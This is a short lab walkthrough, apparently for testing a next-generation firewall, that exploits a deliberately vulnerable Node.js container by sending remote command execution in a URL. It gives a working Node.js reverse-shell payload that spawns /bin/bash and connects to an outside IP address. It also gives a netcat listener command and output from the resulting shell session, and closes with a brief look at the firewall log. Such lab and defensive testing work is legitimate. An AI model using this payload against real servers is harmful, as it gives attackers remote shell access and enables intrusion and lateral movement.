Remotely exploiting servers in DMZ's seems so unecessary today with all of the credential theft and client side exploitation, but it is still a critical link in the attack chain. Cloud initiatives are allowing administrators to start up servers all over the place, and most of the time they do not have the same protections in the cloud they typically would in the DMZ. This attack could also be applied for lateral movement if the vulnerable web application is only accessible internally.

As a user you can be on either side of the DUT (Device Under Testing) for this. We will be exploiting the web server by requesting a URL with the command execution in it. For this user case that command will ask the web server to connect to our control infrastructure.

This particular use case can be used to demonstrate lateral movement too. This host could be the initial system compromised from the Internet and then pivot to another host, or it could be leveraged to pivot on an internal network.

Step 1 - Deploy the Node.js Container

The intrstructions to build your own vulnerable container can be found here, https://github.com/freshdemo/node-simple-rce.

Step 2 - Setup Control

From a terminal behind your device under testing run netcat as a listener. Make sure the port you specify will be accessible from the webserver.

nc -l 80

Step 3 - Exploit the Server

The following demonstrates how to connect to the vulnerable server (localhost:8080), and run the remote command execution that communicates with the control server in the previous step (13.88.250.188:80).

http://localhost:8080/q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"13.88.250.188",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

Now back at your control server you should be able to execute commands on the host. 

root@DockerHost:~# nc -l 80
pwd
/usr/src/app
ls
app.js
node_modules
package-lock.json
package.json

Step 4 - View the Results

Looking at the following NGFW log we can see that the NGFW did permit this traffic, however the application was identified as unknown-tcp. Unknown-tcp should be managed out of your network so this application should not be permitted long after the initial deployment.



ngfw